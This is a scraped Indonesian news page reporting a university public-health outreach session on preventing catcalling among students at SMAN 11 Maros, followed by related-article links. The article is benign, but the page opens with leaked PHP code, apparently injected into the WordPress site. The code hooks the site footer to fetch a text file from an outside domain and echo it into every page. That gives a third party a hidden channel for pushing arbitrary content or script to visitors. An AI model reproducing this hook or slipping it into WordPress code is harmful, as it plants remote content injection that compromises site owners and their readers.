function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');FKM UMHAS GELAR LITERASI KESEHATAN DI UPT SMAN 11 MAROS: PENCEGAHAN CATCALLING PADA REMAJA - Suluh Nusantara

Home / Uncategorized

Sabtu, 2 November 2024 - 13:06 WIB

FKM UMHAS GELAR LITERASI KESEHATAN DI UPT SMAN 11 MAROS: PENCEGAHAN CATCALLING PADA REMAJA

Doc. PengabMas Dep. PKIP dalam Rangka Dies Natalais ke-42 FKM Unhas (Istimewa)

Doc. PengabMas Dep. PKIP dalam Rangka Dies Natalais ke-42 FKM Unhas (Istimewa)

Maros, 2 November 2024 – Melalui kegiatan pengabdian masyarakat sebagai rangkaian Dies Natalis Ke-42 FKM Unhas, Departemen Promosi Kesehatan dan Ilmu Perilaku FKM Unhas menginisiasi program literasi kesehatan untuk mencegah perilaku catcalling di kalangan remaja. Kegiatan ini berlangsung di Kelurahan Baju Bodoa dan menyasar siswa-siswi SMA Negeri 11 Maros, difasilitasi langsung oleh Prof. Dr. Suriah, SKM., M.Kes dan Ibu Nasrah, SKM., M.Kes sebagai dosen pendamping.

Kegiatan ini tidak hanya bertujuan untuk memberikan pengetahuan tentang catcalling, tetapi juga untuk memfasilitasi diskusi yang menarik dan interaktif serta membangun kesadaran remaja bahwa catcalling bukan candaan tapi pelecehan. Dengan melibatkan 34 siswa, kegiatan ini menyajikan permainan, penayangan video yang menggugah, dan sesi tanya jawab yang dinamis, dipandu oleh Muhammad Wahyunan, mahasiswa Fakultas Kesehatan Masyarakat.

Baca Juga  PBL III FKM Unhas: Evaluasi Intervensi Pengetahuan Stunting Pada Ibu Baduta Melalui X-Banner, Spanduk Informasi dan Video Edukasi oleh Posko 14 PBL II FKM UNHAS di Desa Tombo-Tombolo

Para peserta tampak antusias dan aktif berpartisipasi. Hasil post-test menunjukkan kegiatan ini sukses meningkatkan pemahaman peserta dengan signifikan. “Saya jadi lebih paham dan sadar tentang catcalling setelah ikut kegiatan ini,” ungkap Annisa, salah satu peserta. Temannya, Ahmad, menambahkan, “Kegiatan ini sangat bermanfaat dan membuka wawasan kami!”

Doc. Tim Dep. PKIP dan Sasaran PengabMas (Istimewa)

Catcalling, yang merupakan salah satu bentuk diskriminasi gender, memiliki dampak jangka panjang yang merugikan, terutama bagi perempuan. Program ini sejalan dengan Sustainable Development Goals (SDGs), khususnya poin 5 yang mengedepankan kesetaraan gender. Oleh karena itu, mengedukasi remaja tentang isu ini menjadi sangat penting untuk menciptakan masyarakat yang lebih aman dan setara.

Baca Juga  Tingkatkan Mutu Pembelajaran, PKIP FKM Unhas Gelar Workshop Pemutakhiran RPS K23 serta Penyusunan Modul Ajar

Mengakhiri kegiatan ini, tim PKIP FKM Unhas mengajak para siswa untuk menyatakan komitmen dalam mengampanyekan “Catcalling No” dengan tagline Catcalling bukan lucu lucuan tapi PELECEHAN.

Fakultas Kesehatan Masyarakat Universitas Hasanuddin berkomitmen untuk terus menggelar program-program pengabdian masyarakat, guna mendukung SDGs dan meningkatkan kesadaran kesehatan di kalangan generasi muda. Dengan langkah ini, diharapkan remaja dapat menjadi agen perubahan, mendorong lingkungan yang bebas dari catcalling dan segala bentuk diskriminasi.

Share :

Baca Juga

Uncategorized

FKM Unhas Membuka Program Studi Pendidikan Profesi Dietisien

Uncategorized

FKM Unhas Gelar 24 Kegiatan Pengabdian kepada Masyarakat di Maros Baru, Wujudkan Indonesia Sehat 2045

Uncategorized

Mahasiswa PBL II FKM Unhas Melaksanakan Edukasi dan Pembagian Kalender Tablet Tambah Darah (TTD) Sebagai Perwujudan SDGs 3 di Desa Bontomanai

Uncategorized

Forum KAP RCCE+ Fasilitasi Pendampingan TPK BKKBN Zero Dose Immunization di Provinsi Sulawesi Selatan

Uncategorized

Departemen PKIP Gelar Pengabdian Dies Natalis 42 FKM Unhas Ajak Warga Sadar Sehat untuk Dukung Agenda SDGs

Uncategorized

Awali Pengabdian, Mahasiswa FKM Unhas Posko Tottong Gelar Seminar Bersama Masyarakat

Pendidikan

Inovasi Game Tebak Gambar:Posko 15 Attangsalo PBL II FKM Unhas sebagai Media Edukasi Dini HIV/AIDS pada Anak Sekolah Dasar di Kelurahan Attangsalo untuk mendukung Pencapaian SDG’s 3

Uncategorized

Mengubah Sampah Menjadi Sumber Daya: Edukasi Pengolahan Sampah Anorganik dengan Metode “Ecobrick” di Desa Pallantikang